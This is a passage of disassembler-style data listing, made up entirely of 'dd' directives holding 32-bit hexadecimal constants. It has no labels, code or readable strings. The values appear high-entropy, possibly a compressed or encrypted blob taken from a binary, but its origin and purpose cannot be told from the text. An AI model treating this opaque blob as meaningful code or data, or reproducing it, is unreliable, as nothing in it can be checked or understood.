		dd 0B7E7356Ch, 1DDA833Dh, 7D13CBAEh, 0FC8B2C56h, 0D178E476h
		dd 27800C7Fh, 0B66E0D7Bh, 1DDD3722h, 55A131B0h,	716326C9h
		dd 0C546DB09h, 65DE5EB0h, 0E887B314h, 0A6AA0C3Dh, 0F54EC1DAh
		dd 8F0134EAh, 0A86BE2F5h, 564D5388h, 5E3E8087h,	75748EAFh
		dd 0DD5C92FBh, 0F9C2E7F6h, 91B97D19h, 8E87260Bh, 0C7520E57h
		dd 0A30DF64Ah, 6D3B051Eh, 9A3E20DFh, 0B81934D9h, 234D3DF4h
		dd 100E2318h, 0D815A7C7h, 6B854FECh, 3CDA8EDDh,	0A00D5F11h
		dd 0D4D3D830h, 0B274E97Fh, 36B14014h, 0DD45232Eh, 91ABB32Eh
		dd 0B7D83BF3h, 0E049D528h, 0E1C43CB1h, 47A9CCD0h, 1268740h
		dd 0A4D12918h, 0D168070Ch, 3B27B038h, 2C6FBFB0h, 0FD518346h
		dd 57EDF00Dh, 742A3161h, 52883D94h, 514657C4h, 2E4273B0h
		dd 5D1EE958h, 83550247h, 1DD55EB8h, 0C8820755h,	4B495CD4h
		dd 665B5D91h, 0BF9F2C0Fh, 33CBD743h, 0B2572FAFh, 8CC77372h
		dd 24104489h, 387D725Fh, 355CA53Bh, 2B96E795h, 0DF631A6h
		dd 31A331E1h, 418AB89Ah, 8F7A6CDFh, 7B3309A1h, 0B9D56A71h
		dd 0D39017Bh, 0FD87CA3Bh, 0AF6449FCh, 493B2D8Dh, 0A9F1254h
		dd 942AB90Bh, 2D0E4D80h, 89E73945h, 7B36DD23h, 84AA0D4Dh
		dd 8E81225Bh, 93000F50h, 0C8F212DCh, 322C430Ah,	80D99F5Eh
		dd 55211B59h, 735AA2D7h, 0A5F5446h, 0B6EB97E4h,	26B26AB9h
		dd 0A23B65CEh, 66BD8E48h, 50239A00h, 44D136CEh,	0D426A3BDh
		dd 0AB55118Eh, 48A20262h, 19F6761Bh, 438F81BDh,	4765102Ah
		dd 0DB7AE84Fh, 0AAC1A41Eh, 0C954914Eh, 59955895h, 0DC545937h
		dd 2BB05AD1h, 70424ED8h, 4A1497B5h, 7C25802Bh, 0C374D19Eh
		dd 0B8629209h, 4991A687h, 1FC70135h, 2408A28Eh,	3954AEA7h
		dd 0BEDFD280h, 0F9836C83h, 94C12B94h, 6B99F502h, 7F690DFh
		dd 960FE52Dh, 0E986FB06h, 0AB834B0Eh, 9352567Eh, 85D3A31Bh
		dd 1888FACCh, 0CA10E99Ch, 30F43315h, 0B2A235DEh, 3C083CA9h
		dd 0D16E5DF3h, 0D8943881h, 4461E808h, 0F789B42Eh, 0A7EB329Ah
		dd 7FB2EAC1h, 2F8F803Ch, 1FF7ED0Fh, 0D0DA3980h,	0A28E7A7Dh
		dd 0F9D895CDh, 8A0DFA27h, 0C57384Dh, 8317ED7Fh,	0D4D7986Fh
		dd 7CC5F9CFh, 90FBE35Ch, 4DD36DE1h, 977D0738h, 5BF0019Eh
		dd 9077F00Eh, 0FB69DA08h, 8060F553h, 94357B22h,	0E602AC22h
		dd 9832E25Eh, 0BBD00982h, 677A84D7h, 2168605h, 288BA13Bh
		dd 9E57176h, 1EC4A1E4h,	4B42A920h, 9F974E34h, 73021DE4h
		dd 44F35D51h, 0B6F02776h, 28FFFF6Dh, 9C4F1F9Dh,	27D7CE96h
		dd 0F68674B8h, 0A2979110h, 0E7240A40h, 638A651Eh, 67230A23h
		dd 0F508F560h, 60039C66h, 15A437C9h, 4AD837DAh,	992551B4h
		dd 3816651Fh, 0E6AECD2Ch, 3C8609D9h, 46945622h,	62B97366h
		dd 0BAC60E87h, 0AB365606h, 5581AEC9h, 465091D7h, 851BE1A0h
		dd 4BFF0BADh, 0ED91B1C3h, 0F9C89D04h, 31026384h, 573F1DA5h
		dd 0CF460F4Ch, 3DB05316h, 127C08ADh, 3AAA52A8h,	82793D8h
		dd 0F2CE187Eh, 38F47676h, 0DD5DB60Eh, 0F594E09h, 0CDBDB58Eh
		dd 3B024183h, 670403D9h, 590EDD0Fh, 4DE07EE7h, 7CC25C91h
		dd 0F8690C27h, 0C4ED5B81h, 104E3522h, 6F5F8064h, 8300BF34h
		dd 8382B410h, 47F4132Ch, 16D1878Dh, 0B5DF60A9h,	2D499271h
		dd 8AC28D80h, 4CAC5863h
		dd 0B549CDEFh, 0F3E0692Fh, 313378B5h, 1E995533h, 1E792FB5h
		dd 0BAB560CBh, 4CACC13Bh, 76542EFh, 17A53B33h, 0B55F35B4h
		dd 1560753Bh, 46FEC9F2h, 7C87743Dh, 9F6873BBh, 6BFF3CDAh
		dd 0DF61C4BCh, 23E58170h, 16598ED7h, 9D4CA9AFh,	24AE55DEh
		dd 3BAC0C02h, 6A896600h, 0E1A14329h, 0D74ECB50h, 30B8A80Eh
		dd 0F7960B9Ch, 0E608AD02h, 0F9C41C7h, 70600736h, 0EB1D8EE4h
		dd 3533046Ah, 77C74DBBh, 0AABB84D3h, 5D5BD6E3h,	5F62D012h
		dd 593A30FCh, 41D075FBh, 1AE4903Bh, 1E3C5F68h, 99614A4Ah
		dd 81684401h, 0C8C3069Eh, 0CC576D58h, 834131A8h, 0CFBB81EEh
		dd 73D9144h, 5CE3CED9h,	59E09B57h, 0CD34C6B6h, 0B608DE08h
		dd 0E5F208Fh, 0D930EABh, 0DF0FC5F2h, 9AF4CC4Fh,	0E865F980h
		dd 228F1DBDh, 0ABBFE076h, 0D80AEAA1h, 31B314BBh, 8B845250h
		dd 68C7D5CFh, 0BDFD42E9h, 0A3D7CA36h, 72218099h, 0FAA65F9Bh
		dd 817AE444h, 9B375683h, 0E3001h, 63F1304Ah, 8EE37F57h
		dd 0E5775E6Eh, 0B6F63471h, 6DED94B3h, 9F1D5B53h, 24DD40E4h
		dd 0F746BDAAh, 80F1503Bh, 0BD90B042h, 0C2412568h, 0B6BB2FD8h
		dd 876C6627h, 148CB4D1h, 67C1AB42h, 43EC03C1h, 0D465E448h
		dd 9DD42E57h, 0F5214FD5h, 0D6346DF3h, 0DC7D27CFh, 0BF241F36h
		dd 4454B6A5h, 8183CD66h, 0FDB435D5h, 631D6B8Dh,	2388BAEBh
		dd 4875ECADh, 682F44C0h, 58B3D22Dh, 94662746h, 8CE68AAh
		dd 519BE2FBh, 0CAD571C1h, 1616882Ch, 36015E92h,	77802006h
		dd 6321D7ABh, 0B1F07E3Fh, 0CC8B7734h, 3ADED2A6h, 0B664CA05h
		dd 42D78487h, 0A119A4DCh, 0ACB4A1B9h, 0F61498DBh, 37D0E8C5h
		dd 4EC8BBB9h, 66157557h, 7DDC2C9Eh, 9D1272D8h, 0BDD48D88h
		dd 4F7EF361h, 0ECC977EDh, 62BA130Dh, 992BD60Ch,	0E93752A5h
		dd 0E82EC15Ah, 0CEB705E9h, 0CA17556h, 0A717C174h, 2C457554h
		dd 35C9995Ah, 5FD66BBDh, 0F5AA4861h, 4239B436h,	6241D826h
		dd 3692B957h, 0C45EDD46h, 0CB1338EEh, 0BFC863C0h, 46EE2649h
		dd 9D9619BBh, 0F3375122h, 586C7B7Dh, 829C9127h,	42ECE666h
		dd 240C8AFDh, 9DA4C1B6h, 0EC020120h, 9402E71Ah,	7D925D45h
		dd 433E96C9h, 16E1A093h, 0B656AAD2h, 0DF4C48FCh, 5AD3020Fh
		dd 4AFE9151h, 0AFB2B67Dh, 0D8C9F13Ah, 0EF5C9D67h, 8D73C277h
		dd 358CECA9h, 28EDCEA4h, 0E6C26F26h, 0A316C015h, 9011875Dh
		dd 177B736Bh, 6809BF37h, 39CE7F77h, 9DC9DF98h, 99E8C783h
		dd 79D77EC2h, 5FF093A6h, 0C9D63E7Ah, 0E7B1BE7Bh, 857CF43Fh
		dd 46C5F3D1h, 43FE43CFh, 0C74685CFh, 86A90575h,	0AE829EABh
		dd 8B16303Ah, 0FF89D559h, 51D37FD0h, 4707FFDEh,	8E1BFF79h
		dd 18FFD59Eh, 21F618B1h, 7A4C0288h, 360E394h, 0F79F8513h
		dd 3460FE91h, 2B92D98Eh, 0C88096C9h, 4FFD0B60h,	0B665D2F4h
		dd 0FDC65E0h, 0EEE12B83h, 0C36C6302h, 0B0A163B3h, 5E736644h
		dd 88317DA6h, 763D84AAh, 253298C4h, 609C70D0h, 61FB5992h
		dd 0B349812Ch, 95649FE4h, 69E6BCBBh, 936F554Ah,	2BDB1DBBh
		dd 33CC8C05h, 0FEC966DAh, 0FDD65846h, 0CF0EFD8Ch, 0FB606AF1h
		dd 2682AC9Ah, 8403B414h, 875CBEA5h, 5C7B5745h, 0FAA88D77h
		dd 4BA53A8Dh, 4DAC5DB3h, 4C628BAAh, 0DB47B410h,	465F036Eh
		dd 68DFDB34h, 0E3C7AEEEh, 9D439F02h, 2E89AAD2h,	0E2E83ADCh
		dd 25FF0D58h, 741DF740h, 3BDD45A8h, 98844E80h, 34631080h
		dd 0D6A8C71h, 74443BBAh, 20B5E75h, 9337417Dh, 0B35EEE82h
		dd 0BB55BD6Ah, 77340FADh, 0C877CCB1h, 0E89F8138h, 0E96D23E0h
		dd 0B0F9A91Fh, 81782161h, 2C7AA9ABh, 0B15E20ACh, 0DD337154h
		dd 6E1F0E49h, 12750820h, 0D5860C8Eh, 0B772C388h, 8CCC394h
		dd 47E88836h, 7AB2932Ah, 3A8A1FEBh, 2F4F2F2h, 4026FE6h
		dd 6C50F2ACh, 70101C6Eh, 0E8783CAEh, 41295CF4h,	7D456C7Dh
		dd 5B84799Ch, 618F8B96h, 6B175EE4h, 0A2E6655Ah,	4121E03Eh
		dd 0A85628B7h, 0E92F5946h, 616B13E0h, 0DEA2C47h, 66774FF7h
		dd 67A7848h, 0B013A33Bh, 0CDDFA8FFh, 1D34EEC0h,	5EC137AFh
		dd 67C98B67h, 587CB5CAh, 562ECF56h, 0C64C3392h,	54153C8Eh
		dd 5C26A8ACh, 0CC8583ECh, 6E3E6C06h, 0C2C0F936h, 0F7C3CC47h
		dd 0CA81D693h, 85D5C979h, 2063E0C5h, 0D473FD19h, 228E3BD7h
		dd 0DC42FEF9h, 0C74AE41Ah, 186F9305h, 0D7B53EEh, 0F2A28FE5h
		dd 81D4EF83h, 0DCE256A4h, 56503371h, 5D80CD99h,	6E338C8Ah
		dd 106E11C9h, 5EE1811Ah, 0E323029Ah, 979CDC1h, 3BBAAB46h
		dd 4177A76Ah, 5CEDB063h, 0CC3C5FB1h, 0C38AE9A7h, 793CB67Ch
		dd 0B4FD1498h, 33829367h, 13CC16A5h, 6EBB0C10h,	0A59DB822h
		dd 6AF221Dh, 0F3DC481Ch, 8C47CDB2h, 9E3B5AEDh, 9D658024h
		dd 0ACB0D878h, 0ECF98077h, 50D82142h, 0B987AD08h, 0CCC2ECF5h
		dd 0A1B8C3DEh, 0D6182E5Fh, 383E0093h, 0B495714Ch, 0D9E32127h
		dd 9C43F4C5h, 0E443EEB2h, 6A6647ABh, 0DE386D68h, 0C2C623BCh
		dd 0F20D7D50h, 0C8F061C8h, 85672146h, 1272E485h, 7E8DFBAEh
		dd 0EF8746AFh, 0F03B9265h, 0DF248BB0h, 8CF139C5h, 4389E781h
		dd 183754C6h, 0A8A6E0E0h, 0EE89B70Bh, 5103830Eh, 0F91F8FF6h
		dd 0E0DFB59Eh, 0C2F98789h, 3FFBB4BEh, 0F1BA418h, 0CEB8071h
		dd 0E21F9744h, 43A2E986h, 0B0530DA7h, 0B2D0B3Dh, 0C0EC4F16h
		dd 441D02B5h, 311EB63Ch, 0F21ED53Dh, 636662D0h,	0FEE0EEBFh
		dd 36D4D78Bh, 469EEF9Eh, 0E006F836h, 0E904ED69h, 2784C9B8h
		dd 0BE2F3138h, 0EDBCC55Fh, 61E76B1Ch, 90B675EEh, 0B1531863h
		dd 0D89FC2B2h, 0A31E6257h, 201ED1F1h, 5D9710E3h, 90866607h
		dd 1615BFCh, 45357F21h,	0B83B666Dh, 0E4B075FEh,	0F2FF5CC3h
		dd 0E8F3E47Eh, 0E1B11FE6h, 72DF76CFh, 0FE7FFBBAh, 0CCA7BBC8h
		dd 0E58D1FC6h, 0D627A3BBh, 0F53123FDh, 9F10E37Eh, 80D3DFC8h
		dd 0DAAFB176h, 45E6A63h, 552DB326h, 54FFF627h, 73B437D3h
		dd 60C37F4Dh, 39DB5FC4h, 0A7685FFBh, 22B48553h,	0B8D9A470h
		dd 33ACAF08h, 93B4172Ah, 487CE1D2h, 0AE30EAE1h,	0C47FB9C8h
		dd 0EE315B74h, 0D869EC8h, 0D15288FEh, 23CC7377h, 0A96C6400h
		dd 764D0E85h, 1B231D02h, 0B3BF35ECh, 0AF1251E0h, 0F61D83C6h
		dd 7E5FAF28h, 0B6AC7D18h, 5BB42C3Bh, 84EA95CAh,	315EBBE3h
		dd 9743CEF9h, 87B39638h, 0BAF2169Ch, 805BB2B6h,	6153F030h
		dd 3F8BC3Eh, 6CED5FF9h,	0B58A2439h, 22EC0382h, 4B70673Ch
		dd 0EE70015Ah, 0B93F0B3Ch, 0DCD89AF2h, 0DADFC81Fh, 0C01ECC5Eh
		dd 0C9F7B8D1h, 4F947C6Ch, 9D86042Bh, 0A478B7C2h, 1A703EEAh
		dd 36617BBh, 983F08D7h,	394376E0h, 0D9E9446Eh, 2849E90Ch
		dd 2738C93Dh, 38B20BDBh, 840EEF7Bh, 87BBC561h, 0D8BA50B8h
		dd 32053366h, 8D6BBD03h, 697A01D4h, 1C0537C6h, 0F8107FAFh
		dd 1DEBE8F0h, 1FECD990h, 7D1DB63h, 0D0C2EE61h, 0C889B665h
		dd 0C9BD0EDFh, 6F4A4DECh, 0A6AEB1A5h, 0ACC13B74h, 3C0443E0h
		dd 3062D332h, 94F9E230h, 7E30403Eh, 0A041F4Ah, 5B258364h
		dd 49D30D89h, 60CE07C8h, 847DF7FBh, 995B88B1h, 0A48376D6h
		dd 1F73A04Ah, 8F920216h, 23558562h, 0D67B23FEh,	0D81FF8FEh
		dd 88A817F3h, 76ED8F3Ch, 63B6ED19h, 0BB46EDBBh,	0C4284D7Bh
		dd 0A31682BAh, 0EE561F72h, 338EDA33h, 7951992Ah, 50712B10h
		dd 2F7154E4h, 38F67DFDh, 8FBC11C3h, 2F08C2C4h, 0F3EC376Ah
		dd 0FBE786FBh, 8FAE9B5Ah, 43DBAE98h, 3BF54EA7h,	0E3D230DAh
		dd 2748D891h, 8B28C116h
		dd 0BFB07665h, 0F30F3FE4h, 13DCE12Dh, 15D4831Ch, 445F6D68h
		dd 0FD9F7DB5h, 413F7DF0h, 722D7EC0h, 34F4106h, 41394341h
		dd 0B06801FEh, 0F6DDBBC1h, 0DC0F4E03h, 9238E9CFh, 9BAC7D82h
		dd 61D9DB9Eh, 0DF601E7Ah, 7D9DB3D3h, 0ED09F8C5h, 0CADCF467h
		dd 0FF633276h, 62DF70C7h, 0CB8ECD9Ch, 0B164EB10h, 5E0F10B6h
		dd 33F222D1h, 0F90F33D5h, 746DDCh, 0BAD08B1h, 0B2D5D99Eh
		dd 0E8ECCEB3h, 0BF05860Ch, 0C089E3A7h, 6D085D4Ch, 0BA36B2ABh
		dd 0E7F75375h, 0B1D7BD6Ah, 2528B602h, 0BF5A8B6Ah, 0EC5B03C2h
		dd 7ED09EEEh, 0AF648A65h, 16AE8259h, 0A937832Eh, 551EE756h
		dd 7EAB6D0Ah, 61751B44h, 8F4EA2C4h, 0FAE5FE5Ah,	0CD412ABCh
		dd 4E76CDC7h, 46DCECC4h, 564D8DEEh, 0ABC763ADh,	0EED778D2h
		dd 0C6457FCAh, 4B2A93F2h, 0BE1ACC83h, 0C84A8725h, 96AD7B9Fh
		dd 99CDA822h, 4F3DCD1Fh, 0CB3A10FDh, 4CDEA9DCh,	3B362387h
		dd 3E7372F5h, 21A3A0E4h, 72822713h, 0B326AA7Eh,	3E9EDF69h
		dd 39EA70C0h, 8AF9255h,	7D935289h, 54E4E477h, 7888D1D3h
		dd 0B47E6C0Bh, 5A781314h, 0ABDEF952h, 0D0D764D5h, 0A16A21AAh
		dd 327875E4h, 946D240Bh, 0E71D5CA3h, 6DEF9730h,	7884F2Dh
		dd 2BA4E7F7h, 98578F07h, 639E8CE9h, 8BC9928Eh, 9C296B27h
		dd 0B9C4C75Ch, 7B15AA2Dh, 0CDEDD1C5h, 0E513590h, 3255309Eh
		dd 21C77C28h, 0AF26794h, 83EE52B5h, 87BDF29Ah, 444613CBh
		dd 0C2F7C23Eh, 5B4F3515h, 7596F41Ch, 0DB278533h, 0EAF47970h
		dd 0B331F215h, 0BF5A2A3h, 0BE0663B3h, 19E4130Eh, 59F0AFCAh
		dd 0B2B1B858h, 0E0D81044h, 0BCF198BFh, 56C9994Ch, 0E01D085Eh
		dd 4F51851h, 693B238Bh,	7B3D0413h, 9398DBC4h, 8D76A428h
		dd 24BBEDA9h, 25D345B0h, 0C8F623F5h, 69584130h,	0E714D827h
		dd 0BB0ED771h, 26CC1DF6h, 0F1407FC5h, 5A6AB7h, 9363A16h
		dd 77759440h, 0DB5E16E3h, 0CC0A007Eh, 0D5E02079h, 0F9424861h
		dd 7E047856h, 841E80E5h, 39842D62h, 95B2AD59h, 0FCB1B114h
		dd 33100156h, 0C6A82540h, 4E013610h, 685A6019h,	16207F3Bh
		dd 0F0FDE230h, 0D8718D85h, 9B8299Fh, 0C83F04E1h, 0E8079421h
		dd 0FE8B5DCBh, 0FC208170h, 0FEA1CA5Eh, 34655CE6h, 0DF46185h
		dd 0F780D580h, 0F164EEA7h, 71B3E630h, 0E71E7F9Ah, 9C317DF3h
		dd 203FFF13h, 642CF27Bh, 173A4E7Fh, 91E7E599h, 42BFFF5Dh
		dd 0B2167196h, 0A645CF6Bh, 0AB03A764h, 201D483Eh, 0C9FAA03Ah
		dd 5704987Fh, 0F69C0F87h, 0A4076C9Dh, 0C6C50D35h, 5D10BCAEh
		dd 196C03A8h, 76A3A8E0h, 5013076Dh, 0A14DBDCAh,	96484835h
		dd 6A853420h, 93C56521h, 4862D086h, 296A51C5h, 0F529E2A4h
		dd 4A24A414h, 254872Dh,	54859EA5h, 7D1EA522h, 946DD75Dh
		dd 892A41F2h, 35217352h, 90955280h, 54A64Ah, 0D54A7652h
		dd 0EF41CA40h, 3E23D44Eh, 6677FD5Bh, 7B1B26B5h,	34F22489h
		dd 4869A352h, 0D5A6A15Dh, 0FCA14542h, 5D928E0Eh, 0F3C2E30Eh
		dd 41A0349Ah, 6C704B5Fh, 4A3DA405h, 0BAABD468h,	6684AEh
		dd 9B0EB6B0h, 81EEEB28h, 518D2ADFh, 8A8E3F7Bh, 0BF0DDD36h
		dd 7B3DD5Dh, 0B2021A6Bh, 3D750FBAh, 41C79ACBh, 3705DF23h
		dd 5F68B021h, 54309B0h,	3533CEFFh, 0BBC3206Bh, 6EF2D751h
		dd 1D7D4DD6h, 2E107B17h, 7E92C166h, 0D5D5F341h,	0B1050F61h
		dd 91D7EAE5h, 956BCAFh,	4FD03C6Dh, 1F6F0D46h, 77E107Ah
		dd 508FBF56h, 2895A18Dh, 2AD0C6CAh, 725E047Ch, 410BD1C4h
		dd 5CED4A9Bh, 760F6A04h, 0A4EA6C82h, 5C864D5Ah,	0D032EF2Eh
		dd 0F66BDBA3h, 0FD7DB943h, 9DD36508h, 4D2C2BA7h, 57D1E84Ah
		dd 0EA2EDBFAh, 0E8961900h, 0B4AB0EBh, 486BFE5h,	0EF46596Fh
		dd 46AB03D1h, 87461E63h, 7DB5BCF0h, 8C91087Dh, 0EC3203EEh
		dd 7981CC4Fh, 8699AF69h, 0BEE171F1h, 0BECD3460h, 3DE0668h
		dd 9CAD08CBh, 0DE8C382Ch, 19F4F40h, 89B6ADDh, 127BCA15h
		dd 0A3129058h, 4CDA0B46h, 0C4505078h, 9DE001D1h, 86711DB0h
		dd 7F64BA83h, 1C1B5C21h, 0C6D6308h, 0B54C1B21h,	0D157ACA1h
		dd 0F91FAAB2h, 0C3F3D9E2h, 638D1561h, 240A4763h, 773023ECh
		dd 18C8831Ah, 78B7DB53h, 2BBD4454h, 45A06BA1h, 14BC12B9h
		dd 3E3EDA2Ah, 0DFB91CA3h, 519FEF6h, 42E01257h, 0AB6D659Ch
		dd 61F77CA0h, 69ED30CEh, 173A7FAAh, 0A6E37B7Eh,	56D5A2BAh
		dd 0CE158425h, 871A12B0h, 1732A685h, 555D5415h,	2AC6DAAEh
		dd 78ABFA5Ah, 0AAE2A3Fh, 0B7C59B96h, 65620066h,	25140653h
		dd 0F2E62E3Ch, 509D9116h, 66ED76Dh, 55C1E52Ch, 4D782204h
		dd 434B451Eh, 0C1FADBB0h, 96D18F3Eh, 8B9B69CAh,	433F49B4h
		dd 1DF808DBh, 9D5EDD4h,	0AF197B5Eh, 4146E241h, 0AEC9ABA9h
		dd 0CCE0A7Dh, 994083ACh, 0CFB32883h, 8BAECA26h,	18A6B033h
		dd 35DB2358h, 0AF0DDF03h, 77F05F21h, 94E8DEBFh,	17A0810Dh
		dd 3AFA7741h, 4B6895CCh, 2C490296h, 7D70087Eh, 0B6449613h
		dd 8EA13605h, 2F3BE0Ah,	806129ABh, 23460D34h, 0B58F0245h
		dd 6D450DDAh, 0FAB3A123h, 536516C3h, 8438EBFEh,	5C421838h
		dd 9B29CF19h, 0CB41436Dh, 2D5BEA9Bh, 16574C72h,	48A2852Eh
		dd 0B361FD56h, 0B51269B2h, 0E9168748h, 6CA73C65h, 0E6168C96h
		dd 431C2DD3h, 0FD8EBB51h, 7C850789h, 0A0F88BD8h, 316BD675h
		dd 211D074Dh, 2F2A99F6h, 17BBF18Ah, 0F3617D35h,	9B2C8C50h
		dd 640484AAh, 0D4189E50h, 0AC5F6CDh, 4D0CB4BEh,	22EB022h
		dd 8B031EDBh, 12DB642h,	7174DBA3h, 34578256h, 0E8AFD144h
		dd 5E692BA1h, 75293979h, 0D78F661Ah, 5E497D9Bh,	80EEB433h
		dd 0E39609D6h, 45E422F5h, 791BB7C8h, 901DE407h,	4DE4667h
		dd 0FE41379h, 0BC7ADE62h, 623C825Eh, 0E9F2356Fh, 4F6F9AF6h
		dd 43A65682h, 0D36A01D9h, 0D3C9C9F6h, 7B5D63h, 2FB0EAC7h
		dd 0C259E30Ch, 51A70761h, 0B509DD0Dh, 0D45737C0h, 6B197A1Eh
		dd 9437DE5Eh, 0C01E65EEh, 79682107h, 0AFA0B885h, 27C08EC3h
		dd 9A0263BCh, 7D89CE3Ch, 0A26C09C4h, 0D92A6486h, 542D2545h
		dd 6C952772h, 0FEC12A7h, 0B102B395h, 0A29CC12Eh, 0AA21A335h
		dd 0C5AF07B7h, 521AAD57h, 0EF9A4EA8h, 0D8ADB450h, 56C2F162h
		dd 4E57EA00h, 6E442BD9h, 914D258Bh, 1CD258DCh, 2D258EC9h
		dd 4963AB91h, 2C717231h, 89491719h, 8491AD25h, 61E3258h
		dd 5016F6B2h, 356137C4h, 495A6C0Dh, 70497BBAh, 0B501875h
		dd 2DAB1B15h, 24A16D0Eh, 0FFD906A1h, 9E3C1668h,	0DC95EAC0h
		dd 0C5DA1B6Ch, 127C7EEBh, 3A1EDAEBh, 0FBDE27C1h, 406460AFh
		dd 6199B7Dh, 93C54DA5h,	0FB9CC5D8h, 0A46E178Bh,	49881CB1h
		dd 0D3B5E323h, 2BED6806h, 612BC934h, 4173786Eh,	0BF223677h
		dd 0B27545ABh, 722686A8h, 0AA21C59Bh, 0B293402Fh, 27D49106h
		dd 0A2792935h, 0B41491AAh, 24BF5455h, 40AFF540h, 8C9DA8C6h
		dd 0A9B5FDFAh, 0CA167B56h, 0A904976Ah, 5EAC657Eh, 0C6354D0Bh
		dd 0B9638A92h, 6CA2C682h, 0B7D1CE5Ah, 4D39EF2Dh, 611252E2h
		dd 0EA88522Dh, 236414F5h, 6B2AC617h, 0AC7172A9h, 97573172h
		dd 7ED8A9B6h, 4A6C8113h, 38539AE3h, 0A508081Eh,	0CE8A79A3h
		dd 720A00B9h, 0AA3320A1h, 2EC1AA6Ch, 6683DF36h,	0E23C12EEh
		dd 42931978h, 574C20DBh, 4D7B0439h, 78313F52h, 76D4D38Bh
		dd 0A3528A32h, 6F1FD235h, 9572FF98h, 0A12B88Ch,	61423B20h
		dd 0AC9520FFh, 4BEC287Dh, 7C8E67AAh, 42C3C8C3h,	1DAD2573h
		dd 6724E9BEh, 9F3B1FC8h
		dd 0F152078Ah, 2DD2E38Bh, 0BB45BF0Eh, 18A58255h, 8B11FD79h
		dd 323790E6h, 5C79A8DAh, 0C42182F2h, 13DDF63Ah,	84B934C0h
		dd 2D09F3DDh, 2E684AF2h, 0A98248Eh, 0D10BA8F4h,	0DF21298Ch
		dd 7F82482Bh, 15285356h, 0A312BFC8h, 76052826h,	0A4ABEE61h
		dd 0A97BDCB6h, 8BDE8D58h, 9BAA26Fh, 0FA36C96Bh,	7EAF6CD0h
		dd 0BC4F1485h, 0A9842725h, 7A54ABAAh, 9AF59CC2h, 9571B5F4h
		dd 0EC0F0300h, 0ED7A180Ah, 0EA83A028h, 0C1ED91CDh, 104288DFh
		dd 82C122B6h, 0BD2DBD5Eh, 0A9AC570Bh, 864CEA0Dh, 0B561E1F9h
		dd 828663A0h, 556D185Eh, 0BC62A1Ah, 7FFC008Eh, 0E477FE15h
		dd 3C0B0E09h, 1C17CDAFh, 1CFFF86Eh, 8E08273Eh, 127FFC20h
		dd 73C20FCAh, 31C144EEh, 872836F2h, 9FFC32FFh, 0E1CBFF06h
		dd 7FE0EFFFh, 45FFC25h,	0FF859FFFh, 7CF6D0ADh, 0B4856F80h
		dd 58E09275h, 0C0F7FF07h, 9FF063FFh, 0EEC1F09Fh, 0ABBD6BC3h
		dd 0B1C8CDC9h, 5793B774h, 0F890EEE9h, 27F22DABh, 267451DDh
		dd 4DBD2995h, 42E45DEEh, 0FF91F7BAh, 0E7216EE8h, 3C807DD1h
		dd 83AB7747h, 0DFD1071Eh, 935D8674h, 80E7CC42h,	897CBBDFh
		dd 952DAEB9h, 0FACD8387h, 7DC86B6h, 7C94D7C2h, 0DF8DB712h
		dd 78F09650h, 944A9551h, 3C2CBC64h, 0D546F459h,	7732BBE6h
		dd 0E652D568h, 396975A7h, 0D78F17B5h, 3FCE46D2h, 0B3310029h
		dd 0C51BBF0Eh, 9C66CE9Dh, 0EF6B58FAh, 0DAF075AFh, 0F536A9EFh
		dd 0D6135ADCh, 89714BAAh, 32CA8AF2h, 9296AA5Ah,	0DFC32C6Eh
		dd 0A95C32DAh, 8A2F96F0h, 544B4D42h, 0A67CB02Eh, 2EFE4817h
		dd 5E52D96Dh, 0BB3F8383h, 5289CD02h, 0D85D9D25h, 0E7CDA1CCh
		dd 774BAB40h, 2CA0469Dh, 0F7F845DBh, 0DC327E11h, 4D285B4Bh
		dd 19297B26h, 880765E6h, 67BFB42Eh, 0D38B5475h,	71170E32h
		dd 0D5260965h, 92CA7DFCh, 51689419h, 0E2505496h, 41E4B280h
		dd 4B2AB44Ah, 41C4A51Eh, 120F8965h, 33E6AE5h, 27973523h
		dd 1FE4807Fh, 921DB278h, 8793C95h, 0D93CD592h, 0BAB41861h
		dd 4BB5A3FCh, 93A25016h, 0FCBAB09Bh, 3525DAAEh,	595475D4h
		dd 5E894B52h, 201A0965h, 3A3170D9h, 0C8E0F006h,	0AC79D369h
		dd 81A0BF5Dh, 44F4510Bh, 0CDAB710Dh, 0AE3B9925h, 0B15A4BF2h
		dd 0A82ADF44h, 7B581B4Bh, 0C77F6C01h, 0FAE5FE5Ah, 1011D66Ah
		dd 0D738899Ah, 8017BE05h, 0C8F0F081h, 408D9979h, 4504CF13h
		dd 5A3B3C20h, 3F60366h,	0F754CFE8h, 3FE5B552h, 6AA49F55h
		dd 41AAE7F1h, 8B67D05Dh, 67818503h, 773452DDh, 941CCBB5h
		dd 0FC69481Eh, 414D2EADh, 0A59739Fh, 4D2953A5h,	1A696886h
		dd 0B977F1A5h, 1F1D34BAh, 9E74B2CAh, 0F0E794BBh, 87432DA1h
		dd 441CACB4h, 305CAE5Eh, 0FEEDEC76h, 5B5DAF2Eh,	85B9DD76h
		dd 43DE2D6Ah, 3B1BBB89h, 3549825Dh, 22594BBFh, 0B90219C7h
		dd 0C810CE33h, 81238D4h, 0C9BDB1C2h, 0E3640B67h, 0E943F72Bh
		dd 50B33ADCh, 4673D4E2h, 0BD8421E3h, 36F306C6h,	29CF1A30h
		dd 0B7087B04h, 0C9D1818Ah, 0AFC5F198h, 0C11DB531h, 0FE1D4CFCh
		dd 0C54509F7h, 58977B9Bh, 98BD5E1Ch, 343ACCDh, 0DABECC5Ch
		dd 60E543C9h, 57010351h, 0E2CCB88Ch, 0E941F590h, 9E07669Dh
		dd 5CA151ABh, 7A0FA252h, 51D9A8F4h, 92FA11B1h, 3EAB7715h
		dd 0BAC841E8h, 0A3497C9Ah, 1ED26431h, 0F44DC3CAh, 9337DC68h
		dd 4DD6D64Dh, 7E460E5Dh, 3C260BCAh, 61357113h, 36C2E014h
		dd 0B99D130Ch, 8FBFFE11h, 73C68BBh, 37978719h, 0C70DF57h
		dd 0EAB6B4EDh, 73D2505Fh, 55EFF03h, 4CEDF066h, 0E8DA6EE8h
		dd 36321FE7h, 279AF6FAh, 56F7D0F0h, 0D8BC6931h,	9315EBBDh
		dd 0BB64C182h, 2412E271h, 0B0B157EFh, 25E9E76Ah, 6685AAC9h
		dd 71FF5B18h, 19A1DFA8h, 41AD7127h, 15040495h, 53D8CF27h
		dd 1066B5E9h, 0F1AA86Eh, 824A664Eh, 87797BAh, 44B630ACh
		dd 5583BB99h, 0D7735D92h, 954096C1h, 0FCDB43CAh, 70235556h
		dd 962D9E28h, 0F047362Bh, 0BBA4D136h, 2C5CDCA5h, 0BE8CFCAAh
		dd 0F634F088h, 4A17B992h, 6A20B4E2h, 3615954Bh,	683C6618h
